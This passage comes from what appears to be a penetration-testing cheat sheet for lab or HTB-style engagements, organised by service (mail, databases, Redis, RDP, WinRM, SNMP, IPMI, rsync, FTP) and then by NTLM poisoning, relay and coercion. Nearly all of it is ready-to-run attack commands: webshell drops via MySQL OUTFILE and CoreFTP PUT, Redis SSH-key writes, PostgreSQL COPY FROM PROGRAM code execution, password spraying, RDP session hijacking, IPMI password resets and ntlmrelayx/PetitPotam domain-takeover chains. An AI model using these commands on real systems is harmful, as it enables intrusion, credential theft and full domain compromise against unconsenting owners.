swaks --from admin@$DOMAIN --to victim@$DOMAIN --server $IP \
--header 'Subject: IT Notice' --body "http://$LHOST/survey"
# O365 tenant — generic brute is throttled; enumerate + spray with o365spray (https://github.com/0xZDH/o365spray)
python3 o365spray.py --validate --domain $DOMAIN
python3 o365spray.py --enum -U users.txt --domain $DOMAIN
python3 o365spray.py --spray -U valid.txt -p 'Spring2026!' --count 1 --lockout 1 --domain $DOMAIN
[!warning] Watch out
VRFY/EXPN/RCPT TOare three independent enum primitives — test all three; admins usually only disableVRFY.- O365/G-Suite/Zoho block generic tools (hydra) at the provider — use o365spray/MailSniper/CredKing and keep them current, Microsoft moves the endpoints.
OpenSMTPDin the banner → check CVE-2020-7247 (unauth RCE as root via a;smuggled in theMAIL FROMaddress).smtp-user-enum -M RCPTis slow (~7 q/s) and noisy — scope the userlist.
> IMAP / POP3 — user enum & mailbox read (110 / 143 / 993 / 995)
What to look for: cleartext 110/143 vs TLS 993/995, POP3 USER enum (+OK/-ERR), and — once you have a cred — the mailbox itself (next password, reset mail, VPN configs live in inboxes).
Enumerate:
nmap -Pn -sV -sC -p110,143,993,995 $IP # capabilities + TLS fingerprint
# POP3 username enum (same primitive as SMTP VRFY)
telnet $IP 110
# USER john +OK (valid)
# USER julio -ERR (invalid)
Exploit / Attack: brute, then actually read the mailbox over TLS.
hydra -L users.txt -p 'Company01!' -f $IP imap
hydra -l "$U" -P rockyou.txt -f $IP pop3
# IMAP over TLS — log in and dump a message
openssl s_client -connect $IP:993 -quiet
# a LOGIN "$U" "$P"
# a LIST "" "*"
# a SELECT INBOX
# a FETCH 1 BODY[]
# POP3S
openssl s_client -connect $IP:995 -quiet # USER / PASS / LIST / RETR 1
curl -k "imaps://$IP" --user "$U:$P" # curl speaks imap(s)/pop3(s) too
[!tip] Don’t stop at “login worked” — mailboxes are a top source of the next credential and password-reset links. Always
SELECT INBOXand read.
[!warning] Watch out 110/143 are plaintext — sniffable on a MITM’d segment. Use the
openssl s_clientwrapper (not rawtelnet) for the 993/995 TLS ports or the handshake fails.
> MySQL — file r/w → webshell (3306)
What to look for: weak/reused SQL creds, secure_file_priv empty (FILE priv → read/write files on disk), the daemon running as root, and old 5.6.x builds (CVE-2012-2122 auth bypass). This is the LAMP database — the AD one (MSSQL, xp_cmdshell, linked servers) is already the 🐬 MSSQL block above.
Enumerate:
nmap -Pn -sV -sC -p3306 $IP # mysql-info: version, salt, auth plugin
nxc mysql $IP -u "$U" -p "$P"
mysql -u "$U" -p"$P" -h $IP # NOTE: no space after -p (else it reads a DB name)
# SHOW DATABASES; USE <db>; SHOW TABLES; SELECT * FROM users;
# SELECT @@version; SELECT system_user();
# SHOW VARIABLES LIKE 'secure_file_priv'; -- '' = file r/w unrestricted
Exploit / Attack: turn FILE privilege into a webshell or read local secrets.
-- read any file the service account can read (needs FILE priv)
SELECT LOAD_FILE('/etc/passwd');
-- write a webshell into the web root (secure_file_priv must be EMPTY)
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/x.php';
curl "http://$IP/x.php?c=id" # trigger it
# legacy MySQL 5.6.x auth bypass — hammer with any password until it lets you in
for i in $(seq 1 1000); do mysql -u root --password=wrong -h $IP 2>/dev/null; done # CVE-2012-2122
UDF RCE note: if FILE priv exists but secure_file_priv blocks OUTFILE to the web root, the other path is a User-Defined Function — upload a compiled lib_mysqludf_sys shared object into the plugin dir and CREATE FUNCTION sys_exec. Windows-targeted via plugin_dir when writable; see 7 - Attacking SQL Databases.
[!warning] Watch out
secure_file_priv=NULLdisables file I/O entirely (noOUTFILE); a set directory restricts it — check it before assuming a webshell drop works. MySQL has noxp_cmdshell— RCE means FILE-priv webshell into a live web root, or a UDF. Deep dive: 7 - Attacking SQL Databases.
> PostgreSQL — default creds & COPY TO PROGRAM (5432)
What to look for: default/blank postgres creds, an exposed 5432, and a superuser session → CVE-2019-9193-style RCE via COPY ... FROM PROGRAM (works on PostgreSQL 9.3+ when you’re superuser or have pg_execute_server_program).
Enumerate:
nmap -Pn -sV -sC -p5432 $IP
psql -h $IP -U postgres # blank / postgres / password
nxc pgsql $IP -u postgres -p postgres
Exploit / Attack:
-- superuser check
SELECT current_setting('is_superuser');
-- RCE via COPY FROM PROGRAM (superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- file read
CREATE TABLE file_read(data text);
COPY file_read FROM '/etc/passwd';
[!warning] Watch out
COPY FROM PROGRAMis a feature gated on superuser — most exposed instances with default creds arepostgres= superuser, so it fires more often than you’d expect. Metasploitpostgres_payloadautomates the same thing. On Windows builds of PostgreSQL the service account often hasSeImpersonate→ Stage 09 potato territory.
> Redis — unauth access → SSH key write (6379)
What to look for: no-auth Redis bound to 0.0.0.0 (INFO answers instantly). From there: data theft, CONFIG abuse to write files as the redis user (SSH key → shell), or replication-based module-load RCE (Redis ≥ 4.x).
Enumerate / Attack:
redis-cli -h $IP info # unauth? -> server/version/role info
redis-cli -h $IP config get dir # current working dir of the process
redis-cli -h $IP config get dbfilename
# classic SSH-key write (needs writable target dir, e.g. /var/lib/redis/.ssh or root/.ssh)
ssh-keygen -t rsa -f redis_key
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > pub.txt
redis-cli -h $IP config set dir /var/lib/redis/.ssh
redis-cli -h $IP config set dbfilename authorized_keys
cat pub.txt | redis-cli -h $IP -x set sshkey
redis-cli -h $IP save
ssh -i redis_key redis@$IP
# module-load RCE (4.x/5.x): rogue-server replication -> load .so -> system.exec
# (automated by redis-rogue-server / metasploit redis modules)
[!warning] Watch out
CONFIG SET dirfails if the redis user can’t write there — probe withconfig get dirand pick a dir the service owns (its own data dir is guaranteed).saverewrites the on-disk DB; on a production box that’s destructive — do it in a lab or snapshot the RDB path first. Newer Redis (6+) supports ACLs —AUTH default ""may still answer if not configured.
> MongoDB — unauth dump (27017)
What to look for: pre-3.x-style MongoDB with no security.authorization set — full database read/write with zero creds. On modern builds look for default/weak users and leftover admin accounts.
Enumerate / Attack:
nmap -Pn -sV --script mongodb-info,mongodb-databases -p27017 $IP
mongosh "mongodb://$IP:27017" # unauth connect
mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'
# dump a collection
mongosh "mongodb://$IP:27017/appdb" --eval 'db.users.find().toArray()'
# legacy client syntax
mongo --host $IP appdb --eval 'db.users.find()'
[!warning] Watch out Unauth Mongo is rarer on modern stacks but endemic on legacy appliances and dev boxes. Found user creds with bcrypt/pbkdf2 hashes → offline crack in Stage 08. Also check
rs.slaveOk()-style replica access — secondaries sometimes answer when primaries require auth.
> Oracle TNS — SID brute → odat (1521)
What to look for: the TNS listener, a valid SID (nothing works without it), default creds (scott/tiger, system/manager, dbsnmp/dbsnmp), and a DBA account → file write to the web root / OS command exec.
Enumerate:
sudo nmap -p1521 -sV $IP --open
nmap -p1521 --script oracle-sid-brute $IP # find a valid SID (ORCL, XE, ...)
nmap -p1521 --script oracle-brute --script-args oracle-brute.sid=XE $IP
# odat all-in-one
odat all -s $IP -p 1521
odat sidguesser -s $IP -p 1521 # SID brute
odat passwordguesser -s $IP -p 1521 -d XE # default-cred spray against a SID
Exploit / Attack: log in with SID+creds, then use a DBA account to touch the filesystem.
sqlplus scott/tiger@$IP:1521/XE # normal login
sqlplus scott/tiger@$IP:1521/XE as sysdba # privileged login
# DBA -> drop a webshell to the server's web root
odat utlfile -s $IP -d XE -U scott -P tiger --sysdba \
--putFile C:\\inetpub\\wwwroot shell.aspx ./shell.aspx
# DBA -> read/exec on the box
odat externaltable -s $IP -d XE -U scott -P tiger --sysdba --exec 'C:\\' 'whoami'
[!warning] Watch out NOTHING works without a valid SID — sid-brute first.
odat/sqlplus(instantclient) have finicky deps; a cryptic error usually means the client, not the target.scott/tigerand friends are shockingly common on Oracle. File-write/exec needs--sysdba.
> RDP — NLA check, spray, hijack & Pass-the-Hash (3389)
What to look for: ms-wbt-server, NLA state + domain from rdp-ntlm-info, valid creds to spray (mind lockout), an NTLM hash (→ PtH via Restricted Admin), or an old unpatched host (→ BlueKeep). Local admin already? → hijack a live session.
Enumerate:
nxc rdp $IP # fast NLA check (nla:True/False) + auth test
nmap -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP # domain/host + ciphers
# BlueKeep pre-check — scanner only, DON'T fire the RCE on prod
msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $IP; run; exit"
Spray and connect from Linux (xfreerdp / FreeRDP)
# Spray one password across users. Respect the domain lockout policy.
crowbar -b rdp -s $IP/32 -U users.txt -c 'Password123'
hydra -L users.txt -p 'Password123' -t 4 -W 3 $IP rdp
# Log in and accept the lab's self-signed certificate.
xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore +clipboard /dynamic-resolution
# v3 syntax on newer FreeRDP builds:
xfreerdp3 /v:$IP /u:"$U" /p:"$P" /cert:ignore
# Pass-the-Hash after Restricted Admin Mode has been enabled by an administrator.
xfreerdp /v:$IP /u:Administrator /pth:<NTLMHASH>
Enable Restricted Admin Mode from an elevated Command Prompt
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
Hijack an existing RDP session from a SYSTEM/local-admin Command Prompt
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sesshijack
[!warning] Watch out RDP honours account lockout → spray, never brute (4625s with logon type 3/10 per attempt).
nla:Trueblocks the pre-auth login screen (good for the defender) but NOT credentialed spray — nxc rdp still validates creds through NLA.tsconhijack needs SYSTEM (hence the service trick) and no longer works on Server 2019+. PtH-RDP only fires ifDisableRestrictedAdminis set. BlueKeep can BSOD the box — scan, get client sign-off, then exploit. Deep dive: 8 - Attacking RDP.
> WinRM — shell over 5985 / 5986
What to look for: Windows Remote Management (HTTP 5985 / HTTPS 5986) — a login here is an immediate interactive shell if the user is in Remote Management Users or admin. MITRE T1021.006 Windows Remote Management.
Enumerate / Attack:
nxc winrm $IP -u "$U" -p "$P" # validate creds (Pwn3d! = shell-able)
nxc winrm $IP -u "$U" -H <NTLM> # hash auth works too
evil-winrm -i $IP -u "$U" -p "$P" # interactive PS shell (https://github.com/Hackplayers/evil-winrm)
evil-winrm -i $IP -u "$U" -H <NTLMHASH> # pass-the-hash straight into a shell
evil-winrm -i $IP -u "$U" -p "$P" -S # 5986/SSL variant
evil-winrm -i $IP -u "$U" -p "$P" -s scripts/ -e exes/ # PS upload + exec dirs baked in
[!tip]
evil-winrm -s+-edirs make uploading PowerShell tools (PowerView, PrivescCheck) and binaries trivial —menushows the loaded modules. WinRM auth is NTLM by default; use-k+ realm for Kerberos.
[!warning] Watch out WinRM logons are Event ID 4624 type 3 on the target plus 91/168 in the WinRM Operational log — a SOC watching remoting will see every connection. On 5986 with a self-signed cert,
-Splus accepting the cert is normal in labs.
> VNC & Telnet — brief (5900+ / 23)
VNC (5900, 5901…): check for no-auth or weak VNC passwords (VNC auth caps at 8 chars — tiny keyspace).
nmap -Pn -sV --script vnc-info,vnc-brute -p5900 $IP
hydra -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc
vncviewer $IP:0
# cracked the obfuscated desktop-side password? decrypt the .vnc/registry blob (vncpwd) — Stage 08
Telnet (23): cleartext everything — banner often leaks OS; default creds on appliances; sniffable on the wire.
nc $IP 23 # banner
telnet $IP # interactive — try admin/admin, cisco/cisco, root/root
hydra -L users.txt -P passwords.txt -t 4 telnet://$IP
[!warning] Watch out VNC sessions are shared consoles — the logged-in user sees your mouse. Telnet creds transit in cleartext; if you have a network tap (Responder-era access), passive capture beats brute. Both are legacy — finding them is a reportable finding by itself.
> SNMP — write community, braa & snmp-check (161/udp)
What to look for: (extends the STAGE 3 SNMP block — base OIDs already there) a writable community (private → snmpset), fast bulk scraping, non-default community names, and SNMPv3 (needs a user+auth/priv cred, not just a string).
Enumerate:
# broader community brute than onesixtyone alone
nmap -sU -p161 --script snmp-brute $IP \
--script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP snmp
# structured one-shot dump (users, processes, netstat, software, storage)
snmp-check -c public $IP
# braa — mass/fast OID sweep, far quicker than snmpwalk for scraping
braa public@$IP:.1.3.6.1.*
# extras beyond the STAGE 3 OID set
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # extend scripts (RCE-ish)
snmpbulkwalk -v2c -c public -Cr1000 $IP .1 # bulk = fewer round-trips
Exploit / Attack: a RW string rewrites device config.
snmpset -v2c -c private $IP <OID> s "value" # write with a RW community
# creds/paths scraped from process args (25.4.2, in the STAGE 3 block) -> SSH/spray
[!warning] Watch out UDP/161 — needs
nmap -sUor it’s invisible.private(RW) is the jackpot:snmpsetcan rewrite config. SNMPv3 won’t yield to a community string.braaneeds the trailing.1.3.6.1.*glob. This block adds the write path + fast tooling on top of the STAGE 3 read-only OID walk.
> IPMI — RAKP hash dump (623/udp)
What to look for: a BMC (Dell iDRAC, HP iLO, Supermicro). IPMI 2.0’s RAKP handshake hands a password hash for any valid user to any unauthenticated client — dump and crack offline. Plus cipher-0 auth bypass and default BMC creds.
Enumerate:
sudo nmap -sU -p623 --script ipmi-version $IP
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS $IP; run; exit"
Exploit / Attack:
# dump RAKP HMAC hash (unauth) -> crack offline
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS $IP; run; exit"
hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt # IPMI2 RAKP HMAC-SHA1
# cipher-0 bypass (BMC accepts any password) -> read users / set a password
ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list
ipmitool -I lanplus -C 0 -H $IP -U root -P '' user set password 2 newpass
[!warning] Watch out UDP/623 —
-sU. The RAKP dump is a protocol design flaw, not a misconfig — it works against fully-patched IPMI 2.0. Default BMC creds are everywhere (ADMIN/ADMINSupermicro,root/calviniDRAC). A BMC controls the host below the OS — treat it as a critical finding.
> Rsync — anonymous modules (873)
What to look for: an rsync daemon exposing modules without auth — backup hosts, web roots, and whole home directories, sometimes writable.
Enumerate:
nmap -Pn -sV -p873 --script rsync-list-modules $IP
rsync -av --list-only rsync://$IP/ # list modules
rsync -av --list-only rsync://$IP/share # list files in a module
Exploit / Attack:
rsync -av rsync://$IP/share ./loot # pull an anon-readable module
rsync -av rsync://user@$IP/share ./loot # authenticated (prompts for password)
# writable module -> arbitrary file write (SSH key / webshell)
rsync -av ./id_rsa.pub rsync://$IP/share/home/user/.ssh/authorized_keys
[!warning] Watch out Anonymous rsync often exposes entire home dirs / web roots. A writable module = arbitrary write →
authorized_keys(SSH) or webshell (RCE).--list-onlyfirst so you scope before pulling gigabytes of backups.
> R-services & finger — legacy trust (512 / 513 / 514 · 79)
What to look for: rexec (512), rlogin (513), rsh (514) — password-free access when a source host/user is trusted via .rhosts/hosts.equiv (+ + = anyone). finger (79) leaks valid usernames, real names, login times, home dirs.
Enumerate:
nmap -Pn -sV -p79,512,513,514 $IP
rusers -al $IP # users/sessions across trusted hosts
rwho # who's logged in (udp/513)
finger @$IP # who's logged in
finger root@$IP # valid user vs "No such user"
finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
Exploit / Attack: ride the trust — no password if your host/user is allowed.
rlogin $IP -l root # rlogin as a trusted user
rsh -l <user> $IP "id" # one-shot command through the trust
rsh $IP -l root "cat /etc/shadow"
[!warning] Watch out Needs
rsh-client/rlogininstalled locally. Trust is keyed on source host/IP + username — matching a trusted account (often hinted at in NFS/passwdloot) gets you in with no password; a+ +in/etc/hosts.equivor~/.rhosts= passwordless for anyone. finger output feeds straight into SSH/SMTP/RDP username spraying.
> FTP — brute, bounce & anon-write→webroot (21)
What to look for: (extends the STAGE 3 FTP anon block) a writable dir that’s also a web root (anon-write → webshell → RCE), FTP bounce (PORT abuse → scan internal hosts through the FTP box), weak creds, and a banner → CVE (vsftpd 2.3.4 backdoor, CoreFTP CVE-2022-22836).
Enumerate:
sudo nmap -sC -sV -p21 $IP # ftp-anon flags [NSE: writeable] dirs
Exploit / Attack:
# brute
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp
hydra -L users.txt -P rockyou.txt ftp://$IP
# anon-write -> webshell if the FTP root is served over HTTP
ftp $IP # anonymous login; then: binary / put shell.php / put shell.aspx
curl "http://$IP/shell.php?c=id" # trigger via the web root
# FTP BOUNCE — scan an internal host THROUGH the FTP server's PORT command
nmap -Pn -v -n -p80,443,3306 -b anonymous:password@$IP <internal_ip>
# CoreFTP HTTP PUT arbitrary write (CVE-2022-22836)
curl -k -X PUT --basic -u "$U:$P" --data-binary "<?php system(\$_GET['c']);?>" \
--path-as-is "https://$IP/../../../../inetpub/wwwroot/x.php"
[!warning] Watch out Always
binarybefore uploading a webshell/DB. Bounce only works on un-hardened daemons — a hit is both a reportable misconfig and a pivot into an otherwise-unreachable segment.--path-as-isis mandatory for the CoreFTP write or curl collapses the../itself. Deep dive: 5 - Attacking FTP.
⚡ No-Credential Foothold — Poison & Relay
What to look for → SMB null/anon is blocked, no web creds, but you’re on the internal subnet. This is the zero-credential on-ramp: make a victim authenticate to you (poison or coerce), then either crack the NetNTLMv2 or relay it live to a service that isn’t signing. STAGE 3’s SMB scan already told you who’s relayable — the signing:False rows. MITRE T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay + T1040 Network Sniffing.
Find relay targets first (signing disabled = relayable)
# hunt the whole subnet for SMB signing:False → the only hosts you can relay TO
nxc smb $IP/24 --gen-relay-list relay.txt # note the exact spelling: --gen-relay-list
cat relay.txt
Poison — Responder (LLMNR / NBT-NS / mDNS)
# 1. LISTEN FIRST (Analyze mode) — see who's broadcasting before you answer anything
sudo responder -I tun0 -A
# 2. Poison + capture NetNTLMv2 (WPAD on, verbose). Leave it running.
sudo responder -I tun0 -wv
# hashes land in /usr/share/responder/logs/ → crack in STAGE 8:
hashcat -m 5600 responder-hash.txt rockyou.txt # NetNTLMv2
[!warning] Watch out If you’re going to relay instead of crack, turn Responder’s own SMB + HTTP servers OFF first (
/etc/responder/Responder.conf→SMB = Off,HTTP = Off) or it steals the auth ntlmrelayx wants. Responder captures are NetNTLMv2 (-m 5600) — these are not pass-the-hashable, only crackable. Deep dive: 🔴 Attack.
[!danger] Detection — poisoning & relay Responder answering every LLMNR/NBNS broadcast is loud: it appears in EDR network dashboards, Windows Defender alerts (“network spoofing”), and any LLMNR-monitoring Sigma rule within minutes. Relayed auths leave 4624 type 3 logons from an unexpected source IP (yours) on the victim services, and coercion→relay chains generate 4769 TGS requests from machine accounts against unusual SPNs. Expect a mature SOC to catch a full-noise Responder run; time-box it and prefer targeted poisoning (single interface,
-Afirst) on real engagements.
Relay — ntlmrelayx (turn captured auth into action, no cracking; part of impacket)
# SMB relay → interactive shell / command / SOCKS pivot
ntlmrelayx.py -tf relay.txt -smb2support -i # -i = interactive SMB client on 127.0.0.1
ntlmrelayx.py -tf relay.txt -smb2support -c 'whoami' # one-shot command
ntlmrelayx.py -tf relay.txt -smb2support -socks # queue sessions, use via proxychains
# LDAP relay → escalate the victim (auto-adds DCSync rights), or dump the good stuff
ntlmrelayx.py -t ldap://$DC -smb2support --escalate-user "$U" # grants low_user Repl-Get-Changes-All
ntlmrelayx.py -t ldaps://$DC -smb2support --dump-adcs --dump-laps # cert templates + LAPS in one pass
ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access # RBCD onto the relayed machine
[!tip] Coerce instead of wait Don’t sit hoping someone browses a bad name — force a machine (often the DC) to auth to you, then relay it. All of these feed the ntlmrelayx lines above:
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC # MS-EFSRPC (unauth variant on unpatched) printerbug.py "$DOMAIN"/"$U":"$P"@$DC $LHOST # MS-RPRN spooler dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC # MS-DFSNM (works on patched-PetitPotam DCs) coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC # all-in-one, tries every methodCoerced DC auth relayed to LDAPS → RBCD/DCSync, or to ADCS ESC8 (Stage 07), is a full domain takeover from one low-priv account. Deep dives: 🔴 Attack · 🔷 Attack.
mitm6 — IPv6 DHCPv6 takeover → LDAP relay (beats Responder in hardened nets; mitm6)
# Terminal 1: become the network's IPv6 DNS. Fires on every boot — no LLMNR needed.
sudo mitm6 -d "$DOMAIN" --no-ra
# Terminal 2: relay the WPAD auth to LDAPS and grant RBCD. -6 and -wh are MANDATORY.
ntlmrelayx.py -6 -t ldaps://$DC -wh fakewpad.$DOMAIN -smb2support --delegate-access
[!warning] Watch out mitm6 without
-6(IPv6 mode) and-wh <wpad-host>on ntlmrelayx will silently catch nothing — the IPv6 WPAD auth never gets relayed. mitm6 is loud (poisons the whole segment’s DNS) and time-boxed — run it, catch a boot/logon, kill it. Deep dive: 🔴 Attack.
🔁 NTLM & Kerberos Relay — full target/technique matrix
Beyond the basic relay block: the decision matrix for where a captured/coerced auth can go, and the escalation modes of ntlmrelayx. Deep dive: NTLM-Kerberos-Relay-Cheatsheet.
When relay works — pick the sink by what’s not hardened
| Target service | Relayable when | Payoff |
|---|---|---|
| SMB | signing not required | SAM dump, -c exec, -i/-socks session |
| LDAP / LDAPS | signing / channel-binding gaps | --escalate-user (DCSync), --shadow-credentials, --delegate-access (RBCD) |
| HTTP (ADCS web-enroll) | no EPA/CBT | --adcs → DC/user cert = domain (ESC8) |
nxc smb $IP/24 --gen-relay-list relay.txt # signing:False hosts only — blind -t against signed SMB wastes coerces
Escalation modes (LDAP/LDAPS sink)
ntlmrelayx.py -tf relay.txt -smb2support -socks # queue sessions → proxychains after
ntlmrelayx.py -t ldaps://$DC -smb2support --escalate-user "$U" # auto-adds Repl-Get-Changes-All → DCSync
ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access # RBCD onto the relayed machine account
ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
[!warning] Watch out
- Port clash: Responder and
ntlmrelayxboth grab 445/80 — either disableSMB/HTTPinResponder.confor runntlmrelayx --no-smb-server.- Kerberos-only / NTLM disabled → relay is dead. Pivot to RBCD / ADCS / ticket abuse (STAGE 5–7). But LLMNR poisoning still yields NetNTLMv2 for
hashcat -m 5600even when signing blocks the relay.- Some LDAP modes one-shot the session — use
--keep-relayingor re-coerce. Guard the-socksport; it’s a reusable pivot.- Captured hashes go to Stage 08 for cracking; successful relay chains continue in Stage 10.
🎯 Coercion Toolbox — which RPC bug when
What to look for → a DC or server you can force to authenticate to your listener (rpcdump.py $IP shows which interfaces exist). Each method abuses a different RPC interface with different patch status and filtering. MITRE T1187 Forced Authentication.
[!tools] Stage this PetitPotam.py (SHA-256 · GPG signature)
Method selection:
| Method | Interface | Works when | Link |
|---|---|---|---|
| PetitPotam | MS-EFSRPC | Unpatched = unauthenticated DC coerce; patched still works with any domain cred unless EFS RPC filters applied | topotam/PetitPotam |
| PrinterBug / SpoolSample | MS-RPRN | Spooler service running (usually workstations; check rpcdump | grep spoolsv) | leechristensen/SpoolSample |
| DFSCoerce | MS-DFSNM | DFS Namespace service — the classic fallback when PetitPotam is patched | Wh04m1001/DFSCoerce |
| ShadowCoerce | MS-FSRVP | File Server VSS agent enabled (rarer, but unpatched on many servers) | ShutdownRepo/ShadowCoerce |
| Coercer | all of the above | one tool tries every method & protocol path | p0dalirius/Coercer |
# staged target (listener $LHOST, coerce $DC):
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
python3 PetitPotam.py $LHOST $DC # unauth attempt on pre-patch DCs
dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
shadowcoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC # try everything
coercer scan -u "$U" -p "$P" -d "$DOMAIN" -t $DC # scan-only: which methods answer
OPSEC / pitfalls:
[!warning] Watch out
- Start
ntlmrelayx(or Responder in capture-only) before coercing — a coerce with no listener wastes the attempt and still logs.- Server 2022+ and patched 2016/2019 block unauthenticated PetitPotam; any domain cred revives most methods unless RPC interface filters (e.g., the EFS filters Microsoft recommends) are deployed.
- WebClient (WebDAV) service on the coerced host = HTTP coerce → relays to ADCS/ESC8 (Stage 07). Check with
nxc smb $IP -u "$U" -p "$P" -M webdav.- Coercion generates 4624 type 3 from the target machine account to your box and 4769 service-ticket requests downstream — on monitored nets, one coerced DC auth is a high-severity alert.
🪟 Inveigh — poison from inside a Windows foothold
What to look for → you have a shell on an internal Windows host but your Linux attack box can’t reach that broadcast domain. Inveigh is the Windows-native Responder — poison LLMNR/NBT-NS/mDNS from the compromised host itself and capture NetNTLMv2 from the internal position. (Inveigh)
[!tools] Stage this Inveigh.ps1 (SHA-256 · GPG signature)
# PowerShell build — capture on the internal segment
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y
# useful knobs:
# -IP <ip> bind a specific interface
# -FileOutput Y write hashes/cleartext to files
# -HTTPreply custom HTTP bait response
Get-Inveigh # view captured hashes/creds so far
Stop-Inveigh # clean shutdown
# hashes → crack on the Linux box with hashcat -m 5600 (STAGE 8), or relay if you can route it
[!tip] This complements the Responder/mitm6/ntlmrelayx block, which only poisons from your interface. Deep dive: 8 - Post-Exploitation & Pillaging.
[!warning] Watch out Inveigh needs local admin (raw sockets) and is signatured — prefer
Invoke-Inveighin-memory via your C2’spowershell-importequivalent over touching disk. LLMNR spoofing from a workstation is exactly what Defender for Identity watches for.
🧹 Internal Sweep from a Foothold — fscan
What to look for → you’ve landed on one internal host and need the whole segment mapped fast: live hosts, open services, web titles, weak SMB/SSH/MSSQL/Redis creds, MS17-010, and brute-able services — in one Windows-native binary. (fscan)
[!tools] Stage this fscan_windows_x64.exe (SHA-256 · GPG signature)
# full default sweep of the segment (ports, services, web titles, weak creds)
.\fscan_windows_x64.exe -h 192.168.1.0/24
# fast host discovery + top ports only
.\fscan_windows_x64.exe -h 192.168.1.0/24 -np -p 21,22,80,445,1433,3306,3389,5985,6379
# skip ping (noisy ICMP), skip brute, just enumerate
.\fscan_windows_x64.exe -h 192.168.1.0/24 -np -nobr
# output to file for exfil
.\fscan_windows_x64.exe -h 192.168.1.0/24 -o result.txt
[!warning] Watch out fscan is an all-in-one — its default run includes brute-force modules that will hammer lockout thresholds and light up every IDS on the segment. On monitored networks always run
-np -nobrfirst, then target modules (-m smb,-m ms17010) at specific hosts. Results feed target selection for Stage 10.
[!navigation] Continue the attack flow Previous: Foothold Toolkit — Shells, Payloads, and Metasploit
Dashboard: HTB Pentest Attack Flow